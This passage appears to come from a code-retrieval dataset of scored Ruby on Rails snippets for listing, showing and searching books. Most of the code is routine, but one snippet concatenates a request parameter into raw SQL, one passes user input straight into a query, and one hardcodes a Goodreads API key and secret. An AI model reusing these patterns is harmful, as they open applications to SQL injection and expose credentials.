"0.6786581", "text": "def index\n @books = Book.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end", "title": "" }, { "docid": "41dbdd0d58e121d8e5f10fde62db969a", "score": "0.67816216", "text": "def book\n @book = Book.published.find(params[:id])\n render json: @book\n end", "title": "" }, { "docid": "38df07333d5a37bd45c9a43bc70bcc5d", "score": "0.6728178", "text": "def fetch_book_info\n url = \"#{BASE_URL}/#{book_id}\"\n resp = RestClient::Request.execute(url: url, method: \"GET\")\n resp_obj = JSON.parse(resp)\n\n {\n id: book_id,\n title: resp_obj[\"volumeInfo\"][\"title\"],\n author: resp_obj[\"volumeInfo\"][\"authors\"][0],\n image: resp_obj[\"volumeInfo\"][\"imageLinks\"] ? resp_obj[\"volumeInfo\"][\"imageLinks\"][\"thumbnail\"] : DEFAULT_IMAGE\n }\n end", "title": "" }, { "docid": "d9503e4e2c0abd56fae0716fab35b724", "score": "0.67147636", "text": "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n\n format.json { render json: @book }\n end\n end", "title": "" }, { "docid": "8d857430f012b60f65eec6a7b11bbca7", "score": "0.66939396", "text": "def fetch_books(term)\n response = RestClient.get(\"https://www.googleapis.com/books/v1/volumes?q=#{term}\")\n\n JSON.parse(response.body)\nend", "title": "" }, { "docid": "622b6566dd5c0142d916b76de166b3bc", "score": "0.6664785", "text": "def list_books\n books = Book.all\n \n if books.count > 0\n render json: books\n else\n render json: {e:\"No books added\"}, :status => :error\n end\n end", "title": "" }, { "docid": "369f9398d9c9693f866eb18afd2396b2", "score": "0.6661828", "text": "def index\n @books = Book.find_all_by_user_id(current_user)\n\n respond_to do |format|\n format.html\n format.json { render json: @books }\n end\n end", "title": "" }, { "docid": "9def848aa2d95578e23089f50f316a40", "score": "0.6643623", "text": "def show\n find_book(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "title": "" }, { "docid": "508f90e1a6e8118ecfe26d38352739c0", "score": "0.6638965", "text": "def show\n @cook_book = CookBook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cook_book }\n end\n end", "title": "" }, { "docid": "49e7866abbdc587ac49d176dad036cfa", "score": "0.66126364", "text": "def get_book(search)\n\trequest_string = \"https://www.googleapis.com/books/v1/volumes?q=#{search.gsub(\" \",\"+\")}\"\n\t\n\tsample_uri = URI(request_string) #opens a portal to the data at that link\n\tsample_response = Net::HTTP.get(sample_uri) #go grab the data in the portal\n\tsample_parsedResponse = JSON.parse(sample_response) #makes data easy to read\n\tsample_parsedResponse[\"items\"]\nend", "title": "" }, { "docid": "bdcc1453933b4ccf3030e53fbeb3bf1a", "score": "0.65672344", "text": "def show\n\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "title": "" }, { "docid": "bdcc1453933b4ccf3030e53fbeb3bf1a", "score": "0.65672344", "text": "def show\n\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "title": "" }, { "docid": "01b3ef88d31149ca731fa751837f311c", "score": "0.65648836", "text": "def index\n books = current_user.books.all\n render json: { books: books }\n end", "title": "" }, { "docid": "1b276a43a594c4c9abcdd87ac59948ee", "score": "0.65529716", "text": "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "title": "" }, { "docid": "1b276a43a594c4c9abcdd87ac59948ee", "score": "0.65529716", "text": "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "title": "" }, { "docid": "1b276a43a594c4c9abcdd87ac59948ee", "score": "0.65529716", "text": "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "title": "" }, { "docid": "1b276a43a594c4c9abcdd87ac59948ee", "score": "0.65529716", "text": "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "title": "" }, { "docid": "1b276a43a594c4c9abcdd87ac59948ee", "score": "0.65529716", "text": "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "title": "" }, { "docid": "1b276a43a594c4c9abcdd87ac59948ee", "score": "0.65529716", "text": "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "title": "" }, { "docid": "1b276a43a594c4c9abcdd87ac59948ee", "score": "0.65529716", "text": "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "title": "" }, { "docid": "1b276a43a594c4c9abcdd87ac59948ee", "score": "0.65529716", "text": "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "title": "" }, { "docid": "1b276a43a594c4c9abcdd87ac59948ee", "score": "0.65529716", "text": "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "title": "" }, { "docid": "6cbc144fb8f18be08355cc1df59ef8f6", "score": "0.65395766", "text": "def index\n @read_books = ReadBook.page(params[:page]).order(created_at: :desc)\n end", "title": "" }, { "docid": "7bdce55509d1964693fb0b16b0cb6cc8", "score": "0.65199405", "text": "def show\n @book = Book.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "title": "" }, { "docid": "9c9f1842c0bd13717e63226649828f78", "score": "0.6519562", "text": "def index\n @books = Book.extended_details\n\n render json: @books.as_json(\n only: [:id, :title, :author, :created_at, :total_income_cents, :copies_count, :remaining_copies_count, :loaned_copies_count]\n )\n end", "title": "" }, { "docid": "641f6fc4bc403985e10fbdbcdc045e27", "score": "0.65194404", "text": "def show\n @library_book = LibraryBook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @library_book }\n end\n end", "title": "" }, { "docid": "73da2c11930d55120175ea86b4a1e52b", "score": "0.6519249", "text": "def show\n @book = Book.find(params[:id])\n @read = ReadList.where(:user_id => current_user.id, :book_id => @book.id).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.atom { render :atom => @book, :layout => false }\n end\n end", "title": "" }, { "docid": "2e314a2707b3ac470d99fc43e5278928", "score": "0.6506789", "text": "def show\r\n @book = Book.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @book }\r\n end\r\n end", "title": "" }, { "docid": "c03c7920e223528e931a13090db15030", "score": "0.65049285", "text": "def index\n @books = @collection.books\n #original: @books = Book.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end", "title": "" }, { "docid": "b0aa8e5c5a34a11fba9d51506b59c7fe", "score": "0.6496987", "text": "def show\n @cookbook = Cookbook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cookbook }\n end\n end", "title": "" }, { "docid": "ccdf0a42f2ad912c8fa25f53850a28eb", "score": "0.64933246", "text": "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @book }\n end\n end", "title": "" }, { "docid": "fe541b6d25c01072787d1a102ee2d34b", "score": "0.6487063", "text": "def index\n @user_books = UserBook.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_books }\n end\n end", "title": "" }, { "docid": "a5156b90c98da7080e9c142c1cd24df6", "score": "0.6478798", "text": "def index\n @book_pages = @book.book_pages\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @book_pages }\n end\n end", "title": "" }, { "docid": "67c28b12d22df9587b45fc5712438aa6", "score": "0.64690214", "text": "def index\n @notebooks = Notebook.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @notebooks }\n end\n end", "title": "" }, { "docid": "67c28b12d22df9587b45fc5712438aa6", "score": "0.64690214", "text": "def index\n @notebooks = Notebook.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @notebooks }\n end\n end", "title": "" }, { "docid": "106ca7e327779f57223363d4da839956", "score": "0.6459825", "text": "def get_books(response)\n response[\"items\"]\nend", "title": "" }, { "docid": "3dd6d2ab448219b9a7b44a8b6da5d0d2", "score": "0.6458446", "text": "def index\n @notebooks = Notebook.all\n render json: @notebooks\n end", "title": "" }, { "docid": "5d867b27de7e236230583f531a084a65", "score": "0.6455001", "text": "def index\n authorize! :query, Book\n @books = Book.order(:title)\n respond_to do |format|\n format.html\n format.json {render text: @books.to_json}\n format.xml {render text: @books.to_xml}\n end\n end", "title": "" }, { "docid": "7bb10f8bec95ff4e1ce24f68a20a550a", "score": "0.6451814", "text": "def fetch_books(term)\n response = RestClient.get(\"https://www.googleapis.com/books/v1/volumes?q=#{term}\")\n\n JSON.parse(response.body)\n end", "title": "" }, { "docid": "ca12816f820c983a87f142a3a8179ff9", "score": "0.64445394", "text": "def index\n\t\tif (params[:data] != nil)\n\t\t\t@book = Book.new\n\t\t\t@client = Goodreads::Client.new(api_key: \"rSkvvZY8Wx27zcj4AfHA\", api_secret: \"S5WOpmY8pVtaEu1IwNn51DBafjoEIbjuxZdE6sNM\")\n\t\t\t@search = @client.search_books(params[:data])\n\t\t\t#@search = @client.search_books(\"the lord of the rings\")\n\t\t\t@results = @search.results.work\n\t\t\t#https://image.tmdb.org/t/p/w300_and_h450_bestv2\n\t\tend\n\n @books = Book.all\n end", "title": "" }, { "docid": "97e6394566082a7ee69b3cb68797e001", "score": "0.64437217", "text": "def index\n @books = Book.get_avaible_books\n end", "title": "" }, { "docid": "32782868a09dfc9bf99e4c9af586a8d3", "score": "0.6442489", "text": "def index\n @books = Book.order('created_at DESC').page(params[:page]).per_page(10).search(params[:search], params[:id])\n respond_to do |format|\n format.json\n format.html\n end\n end", "title": "" }, { "docid": "113f10272b550c24000bc844822f742e", "score": "0.6432287", "text": "def index\n if current_user\n @books = current_user.books\n render json: @books, status: 201\n end\n end", "title": "" }, { "docid": "7c1263a2260af154e27b34fb32589e7b", "score": "0.6395116", "text": "def index\r\n @books = Book.paginate(:page => params[:page], :per_page => 30)\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @books }\r\n end\r\n end", "title": "" }, { "docid": "41f6b6c03821ea3e021464c68aa3a3d0", "score": "0.6382304", "text": "def show\n render json: @book\n end", "title": "" }, { "docid": "47dec79154067a80a71efc90ca82185c", "score": "0.6370528", "text": "def index\n @books = []\n if (params[:q])\n @books = Book.where(params[:q])\n end\n render :json => @books\n end", "title": "" }, { "docid": "1b03bfcea8be4420f726d0e319137692", "score": "0.6351693", "text": "def show\n @ebook = Ebook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ebook }\n end\n end", "title": "" }, { "docid": "6ea2a7f1c80c7499126da810e6af9c67", "score": "0.6320587", "text": "def index\n @title = \"List Books\"\n @books = Book.paginate :page=>params[:page], :per_page => 100, :order => 'title'\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end", "title": "" }, { "docid": "60528cd7ab53148df76a39e37b8f70e9", "score": "0.63153195", "text": "def index\n info = Aws.get_recipes_from_db\n render :json => info\n end", "title": "" }, { "docid": "14db97ca2136382dbde0938718a602f9", "score": "0.63065183", "text": "def retrieve_book\n @book = Book.find(params[:book_id])\n end", "title": "" }, { "docid": "40842c6b0b6f8bd82868e84586bd0f09", "score": "0.6298765", "text": "def read_books(user_id = @log_in_user_id)\n raise ArgumentError unless user_id =~ USER_ID_REGEX\n fetch_books(user_id, :read_books_uri)\n end", "title": "" }, { "docid": "1fe43974270e9b1ebd3eb417e770e2b0", "score": "0.6297788", "text": "def index\n @book = Book.find(params[:book_id])\n end", "title": "" }, { "docid": "f567bf1eb238a3d314418c96cd57e20b", "score": "0.6289764", "text": "def order_book(params)\n Client.current.get(\"#{resource_url}/book\", params)\n end", "title": "" }, { "docid": "b29bf77a9e4cf25b4008d05348326db5", "score": "0.62883025", "text": "def show\n\n @breadcrumb = 'read'\n @reading = Reading.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reading }\n end\n end", "title": "" }, { "docid": "c5a81c7cbd43c34e57686b7eac68ff46", "score": "0.62881136", "text": "def show\n @authors_book = AuthorsBook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @authors_book }\n end\n end", "title": "" }, { "docid": "165184afd056cc7ef3be7b18bb57f529", "score": "0.6280358", "text": "def index\n books_with_isbn = Book.where(isbn: params[:search])\n if books_with_isbn.any? and not request.format.json?\n redirect_to books_with_isbn.first\n return\n else\n search\n @books = @books.first(params[:limit].to_i) if params[:limit]\n @query = params[:search]\n unless request.format.json?\n @books = @books.paginate(page: params['page'])\n end\n end\n respond_to do |format|\n format.html\n format.json { 'show' }\n end\n end", "title": "" }, { "docid": "ab5575351d97ceda62186064e76dd42a", "score": "0.6267431", "text": "def index\n @readbooks = Readbook.all.order(\"id DESC\").page(params[:page]).per(5)\n\n end", "title": "" }, { "docid": "772f01bff230b04c26f89cdcfbfca073", "score": "0.6263391", "text": "def book\n fetch('harry_potter.books')\n end", "title": "" }, { "docid": "2c231ad9025c00efddb7e014504c086a", "score": "0.6248347", "text": "def show\n @title = \"Show Book\"\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "title": "" }, { "docid": "2e5500b474128db1c2321115f1cded1d", "score": "0.6229338", "text": "def book_info_goodreads_library\n client = Goodreads::Client.new(Goodreads.configuration)\n results = client.book_by_title(params[:q]) if (params[:t] == \"title\" || params[:t].blank?)\n results = client.book_by_isbn(params[:q]) if params[:t] == \"isbn\"\n return results\n end", "title": "" }, { "docid": "2e5500b474128db1c2321115f1cded1d", "score": "0.6229338", "text": "def book_info_goodreads_library\n client = Goodreads::Client.new(Goodreads.configuration)\n results = client.book_by_title(params[:q]) if (params[:t] == \"title\" || params[:t].blank?)\n results = client.book_by_isbn(params[:q]) if params[:t] == \"isbn\"\n return results\n end", "title": "" }, { "docid": "b211f1efa37d92ccb0e28e754d5afd53", "score": "0.6216346", "text": "def show\n @book = Book.find_by_sql(\"SELECT * FROM Books B WHERE B.id = \" + params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "title": "" }, { "docid": "bb056b271f233f0c8af2bfe76f6351f9", "score": "0.6196344", "text": "def book_info_goodreads_library\n client = Goodreads::Client.new(Goodreads.configuration)\n results = client.book_by_title(params[:q])\n rescue\n []\n end", "title": "" }, { "docid": "35fac5c260896a7d2444e7030af5af32", "score": "0.61830395", "text": "def show\n @book_page = @book.book_pages.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book_page }\n end\n end", "title": "" }, { "docid": "57176c5e7cfbf86f54cfdfac3c58622d", "score": "0.6173626", "text": "def index\n @books = Book.all\n do_response @books\n #\n #respond_to do |format|\n # format.html # index.html.erb\n #format.json { render :json => @books }\n #end\n end", "title": "" }, { "docid": "c8dae1dc3f09e95b223733f80165b6c6", "score": "0.6170433", "text": "def index\n\t\trender json: current_user.noteBooks.as_json(:include=> [:notes=>{:only=>[\"id\"]}])\n # render json: NoteBook.all.as_json(:include=> [:notes=>{:only=>[\"id\"]}])\n\tend", "title": "" }, { "docid": "4d45eb42ed558e15adca72af383f838d", "score": "0.6161386", "text": "def index\n #@books = Book.all\n @books = Book.find(:all, :order => \"isbn\")\n @book_images = BookImage.find(:all, :include => :book)\n #@book_images = []\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end", "title": "" }, { "docid": "c026a23a706c20aab6a485dff759ff7a", "score": "0.61593217", "text": "def show\n @usersbook = Usersbook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @usersbook }\n end\n end", "title": "" }, { "docid": "e49aa9829cd1f9d50f64dcc0ea37e083", "score": "0.6135417", "text": "def index\n @chapters = @book.chapters\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @chapters }\n end\n end", "title": "" }, { "docid": "e49aa9829cd1f9d50f64dcc0ea37e083", "score": "0.6135417", "text": "def index\n @chapters = @book.chapters\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @chapters }\n end\n end", "title": "" }, { "docid": "182755b09a8e5cd107e3fcfb3ca49e14", "score": "0.61286783", "text": "def set_read_book\n @read_book = ReadBook.find(params[:id])\n end", "title": "" }, { "docid": "a08e839d646c4224ea47877f9dfdde39", "score": "0.6126277", "text": "def search_book_by_name(book)\n url = \"https://www.googleapis.com/books/v1/volumes?q=#{URI::encode(book)}&key=#{get_access_key}\"\n\tres = JSON.load(RestClient.get(url))\n return res\t\nend", "title": "" }, { "docid": "41ea86ae862e98e30fd3985ef2241e76", "score": "0.60988504", "text": "def search_for_google_books(search_term)\n url = \"https://www.googleapis.com/books/v1/volumes?q=#{search_term}\"\n response = RestClient.get(url)\n hash = JSON.parse(response)\n hash[\"items\"]\nend", "title": "" }, { "docid": "c0b16c3f452fdd7dd2b0b05338c23120", "score": "0.6096013", "text": "def show\n @book_shelf = BookShelf.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book_shelf }\n end\n end", "title": "" }, { "docid": "64de668d6ea1adbf410ce5ac8b795f3e", "score": "0.609268", "text": "def get_book\n @book = Book.where(id: params[:book_id]).first\n end", "title": "" }, { "docid": "046447c59671a92d1b60fc8164bd696a", "score": "0.6079869", "text": "def get_book( book_id )\n response = if book_id.to_s.length >= 10\n Amazon::Ecs.item_lookup( book_id, :id_type => 'ISBN', :search_index => 'Books', \n :response_group => 'Large,Reviews,Similarities,AlternateVersions' )\n else\n Amazon::Ecs.item_lookup( book_id, :response_group => 'Large,Reviews,Similarities' )\n end\n response.items.each do |item|\n binding = item.get('ItemAttributes/Binding')\n next if binding.match(/Kindle/i)\n return Book.new( item )\n end\n return nil\n end", "title": "" }, { "docid": "6b79a63ce219cc8110f5d506e616dc93", "score": "0.6071867", "text": "def get_books()\n @books_out\n end", "title": "" }, { "docid": "6b79a63ce219cc8110f5d506e616dc93", "score": "0.6071867", "text": "def get_books()\n @books_out\n end", "title": "" }, { "docid": "00189ad5dd2930c7ac9d2c070913a795", "score": "0.60691684", "text": "def book(id)\n\t\t\tresponse = request('/book/show', :id => id)\n\t\t\tHashie::Mash.new(response['book'])\n\t\tend", "title": "" }, { "docid": "535789faaccf280776df80fdd46f4a63", "score": "0.60652065", "text": "def index\n # /reader/1/bookshelves/1/books\n @reader = Reader.find(params[:reader_id])\n @bookshelf = @reader.bookshelves.find(params[:bookshelf_id])\n @books = @bookshelf.books\n\n session[:reader_id] = @reader.id\n session[:bookshelf_id] = @bookshelf.id\n end", "title": "" }, { "docid": "2ddb42a78e9645f02bf34c83234075e3", "score": "0.6062053", "text": "def show\n @book = Book.find_by_id(params[:id])\n if @book.present?\n render json: {\n type: 'success',\n result: @book\n }, status: :ok\n else\n render json: {\n type: 'failed',\n message: 'data with id:' + params[:id] + ' not found',\n result: {},\n }, status: :not_found\n end\n end", "title": "" }, { "docid": "0d07497b605455edf40952d3aa931f25", "score": "0.60546786", "text": "def index\n load_data\n @books = Book.all\n end", "title": "" }, { "docid": "498fbd5a8d93fb5188ce8a9fc836fa6f", "score": "0.60445863", "text": "def index\n @book_genres = BookGenre.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @book_genres }\n end\n end", "title": "" }, { "docid": "8b5eb0364e76cd2646c3ad4d80df7b84", "score": "0.6043611", "text": "def index\n render jsonapi: Book.search(params), include: [:genre, :author, :libraries]\n end", "title": "" }, { "docid": "0377192c7a5ff631908baf80dce80c20", "score": "0.6033296", "text": "def show\n @books = Book.find(params[:id])\n puts @book\n end", "title": "" }, { "docid": "8cc9660cb815847e0d4ce2c2e15c6db6", "score": "0.6028662", "text": "def show\n render json: @api_book\n end", "title": "" }, { "docid": "b49f4f51ace91e2009ab05186739ec67", "score": "0.60279757", "text": "def index\n if params[:users_id]\n @usersbooks = User.find(params[:users_id]).usersbooks\n elsif params[:books_id]\n @usersbooks = Book.find(params[:books_id]).usersbooks\n else\n @usersbooks = Usersbook.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usersbooks }\n end\n end", "title": "" }, { "docid": "4a02d06fbf3cb4366c483460cba3cf13", "score": "0.6025717", "text": "def show\n @data = @recipe.read(params[:id])\n render json: @data\n end", "title": "" }, { "docid": "1c15d3016867674578f4c16e325b6004", "score": "0.60245985", "text": "def set_readbook\n @readbook = Readbook.find(params[:id])\n end", "title": "" }, { "docid": "48666caef223489edce989cca385a139", "score": "0.6021038", "text": "def get_book( book_id )\n response = if book_id.to_s.length >= 10\n Amazon::Ecs.item_lookup( book_id, :id_type => 'ISBN', :search_index => 'Books', :response_group => 'Large,Reviews,Similarities' )\n else\n Amazon::Ecs.item_lookup( book_id, :response_group => 'Large,Reviews,Similarities' )\n end\n response.items.each do |item|\n binding = item.get('ItemAttributes/Binding')\n next if binding.match(/Kindle/i)\n return parse_item( item )\n end\n end", "title": "" }, { "docid": "9afc78feacf96ad0aa7f8f3ccf9af323", "score": "0.6006184", "text": "def index\n if params[:user_id]\n @rents = find_user.rents\n render json: @rents\n elsif params[:book_id]\n @rents = find_book.rents\n render json: @rents\n else\n @rents = Rent.all\n render json: @rents\n end\n end", "title": "" }, { "docid": "6a3f8a406ca38a704dbf1190dca5f206", "score": "0.59852386", "text": "def index\n @books = Book.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @books }\n end\n end", "title": "" }, { "docid": "6a3f8a406ca38a704dbf1190dca5f206", "score": "0.59852386", "text": "def index\n @books = Book.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @books }\n end\n end", "title": "" }, { "docid": "0dd9a1f097f08eab266be1c3437ea3c9", "score": "0.5979652", "text": "def scubooks\n sections = Section.all\n render json: sections\n end", "title": "" }, { "docid": "43197f43eeec0657592483084f7d403b", "score": "0.5974711", "text": "def index\n @books = Book.find(:all, :conditions => { :deleted => false })\n @book_request = Book.count(:request, :conditions => { :request => false})\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end", "title": "" } ]
a2df13ab33ba3c2fcea8e525b15d7fdd
GET /nautical_sports GET /nautical_sports.json
[ { "docid": "ef829d535917162c00add7081fd098c5", "score": "0.7662101", "text": "def index\n @nautical_sports = NauticalSport.all\n end", "title": "" } ]
[ { "docid": "61b6dfa2549164c7f1d23d1b32163379", "score": "0.7466122", "text": "def get_nautical_sports_by_user\n @nautical_sports = UserNauticalSport.where(user_id: params[:id]).map { |f| f.nautical_sport }\n end", "title": "" }, { "docid": "e2491e3060fe0134394bf086b141a5da", "score": "0.6932136", "text": "def sport(sport_id, **options) = get(\"/sports/#{sport_id}\", **options)", "title": "" }, { "docid": "54e1bf9e6b395d689250698224c7ea4f", "score": "0.66752034", "text": "def get_sports\n set_user\n @sports = []\n @user_sport_settings = @user.user_sport_settings.all\n @user_sport_settings.each do |user_sport_setting|\n @sports << user_sport_setting.sport\n end\n render json: @sports\nend", "title": "" }, { "docid": "8e4c7180c979c694356654a89e0807b7", "score": "0.64867854", "text": "def index\n @sports_teams = SportsTeam.all\n end", "title": "" }, { "docid": "2c9b025f8e70f961297e30f343684d1c", "score": "0.6454288", "text": "def index\n @seasons = Season.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @seasons }\n end\n end", "title": "" }, { "docid": "3d46c62c7250529d62fe894fd79eec0b", "score": "0.6448603", "text": "def index\n @games = Game.available\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end", "title": "" }, { "docid": "7704e7b31c3d5a1661657febdc5e4d1b", "score": "0.64283943", "text": "def national_sport\n fetch('team.sport')\n end", "title": "" }, { "docid": "540a726191319a967495dc66734fec35", "score": "0.6425958", "text": "def index\n game = Game.all\n\n render json: game, include: :teams\n end", "title": "" }, { "docid": "8f348ff3e6a4bcade2139ece1e5540e7", "score": "0.6411743", "text": "def court_sports\n render json: @venue.supported_sports_options\n end", "title": "" }, { "docid": "6be3f48fb36b22c58925fbd58ba78639", "score": "0.6399557", "text": "def players_of_sport\n klass = params[:sport].titleize.constantize\n render json: klass.all.map { |record| convert_to_json(record) }\n end", "title": "" }, { "docid": "5a888d95076ccf2a4771367c7fba67a8", "score": "0.63957006", "text": "def index\n @sport = Sport.find_by_sql(\"SELECT sports.name FROM usersports_preferences, sports WHERE usersports_preferences.user_id = #{current_user.id} AND usersports_preferences.sport_id = sports.id\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @usersports_preferences }\n end\n end", "title": "" }, { "docid": "6acb9eafd46e4d68c1c2b09d0bb15334", "score": "0.63941675", "text": "def index\n render json: {episodes: @season.episodes, season: @season}\n end", "title": "" }, { "docid": "74e1c84f9d8976d8ef2a09bea30224c8", "score": "0.6390875", "text": "def set_nautical_sport\n @nautical_sport = NauticalSport.find(params[:id])\n end", "title": "" }, { "docid": "679a9b42ccc6bcfb59b0fe37b8eeb9c8", "score": "0.6375764", "text": "def index\n @teams = @club.teams\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @teams }\n end\n end", "title": "" }, { "docid": "e77129d9d3d2035197684dd752143bed", "score": "0.6355763", "text": "def index\n if params[:sport_id] == \"all\"\n @events = Event.all\n render json: @events.to_json(include: :sport)\n else\n @events = Event.where(sport_id: params[:sport_id])\n render json: @events\n end\n end", "title": "" }, { "docid": "b49a9213c2fcfbaf78c0ef75757e30ee", "score": "0.6331482", "text": "def index\n @games = Game.all\n render json: @games\n end", "title": "" }, { "docid": "362286aad1a1fcdec427d3e695159695", "score": "0.6319705", "text": "def index\n @teams = Team.all\n render json: @teams\n end", "title": "" }, { "docid": "a98b3b077dec10489bf5261a5165228d", "score": "0.628929", "text": "def sport_players(sport_id, season, **options) = get(\"/sports/#{sport_id}/players\", **options.merge(season:))", "title": "" }, { "docid": "8e842edbcce389edac001018fb07805c", "score": "0.62730074", "text": "def index\n @teams = Team.all\n render :json => @teams\n end", "title": "" }, { "docid": "6e8b66a91e4c11283a7c94401964d76c", "score": "0.6222434", "text": "def index\n @clubs = Club.all\n render json: @clubs\n end", "title": "" }, { "docid": "57fa9a6907e3966de78651fba988cd80", "score": "0.6220776", "text": "def index\n @opponent = Opponent.all\n render json: @opponent\n end", "title": "" }, { "docid": "2f0a2ac6847a6614eb3281f5ec3d13e6", "score": "0.6212479", "text": "def index\n @mini_games = MiniGame.all\n render json: @mini_games, status: :ok\n end", "title": "" }, { "docid": "31e74b548f139db7e19f9fe9da0a4cd7", "score": "0.6205679", "text": "def index\n @nba = Googlesheet.find_by_sport('NBA')\n @nfl = Googlesheet.find_by_sport('NFL')\n @mlb = Googlesheet.find_by_sport('MLB')\n @pga = Googlesheet.find_by_sport('PGA')\n end", "title": "" }, { "docid": "8271da9d32bf9500cef515166f7d53e9", "score": "0.6203153", "text": "def index\n @team = Team.find(params[:team_id])\n @sprints = @team.sprints.find(:all)\n\n respond_to do |format|\n format.html\n format.json\n end\n end", "title": "" }, { "docid": "1574dc9d948769239937627fa6c06961", "score": "0.6192445", "text": "def index\n @games = Game.all\n @player_games = current_user.games rescue nil\n @ongoing_games = Game.where(outcome: 'In progress').all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end", "title": "" }, { "docid": "cc14dd87c959233ee9b9ad31788952aa", "score": "0.61866546", "text": "def index\n @games_leaderboards = Games::Leaderboard.all\n\n render json: @games_leaderboards\n end", "title": "" }, { "docid": "98e58c11b849fe0f386407a533e80464", "score": "0.6172522", "text": "def index\n @championships = Championship.all\n\n render json: @championships\n end", "title": "" }, { "docid": "204efa2beacdef8c793fac286141d203", "score": "0.6170305", "text": "def index\n @games = current_user.games\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end", "title": "" }, { "docid": "9e01629b8387d5f27b2175962d27db9e", "score": "0.616372", "text": "def index\n page_number = params[:page] ? params[:page][:number] : 1\n per_page = params[:per_page] ? params[:per_page] : 10\n\n @standings = Standing.paginate(page: page_number, per_page: per_page)\n\n render json: @standings\n end", "title": "" }, { "docid": "db775382bbc9176135f7404670ec5780", "score": "0.61475366", "text": "def index\n render json: {seasons: @serial.seasons, series: @serial}\n end", "title": "" }, { "docid": "e7cb5bf524cea63b4a02c2e1ad027785", "score": "0.6125816", "text": "def index\n gon.yourID = current_user.id\n current_user.game == nil ? @games = Game.all : @games = Game.find(current_user.game.id)\n @team1 = @games.team1.users if @games.try :team1\n @team2 = @games.team2.users if @games.try :team2\n respond_to do |format|\n format.html\n format.json { render :json => { :games => @games.to_json(:include => [:users]),\n :user => current_user.game,\n :will => current_user.will,\n :team1 => @team1,\n :team2 => @team2 }\n }\n end\n end", "title": "" }, { "docid": "902554d85013ffc6f4d1cdcd1aaee099", "score": "0.61164343", "text": "def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end", "title": "" }, { "docid": "902554d85013ffc6f4d1cdcd1aaee099", "score": "0.6116376", "text": "def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end", "title": "" }, { "docid": "902554d85013ffc6f4d1cdcd1aaee099", "score": "0.6116376", "text": "def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end", "title": "" }, { "docid": "902554d85013ffc6f4d1cdcd1aaee099", "score": "0.6116376", "text": "def 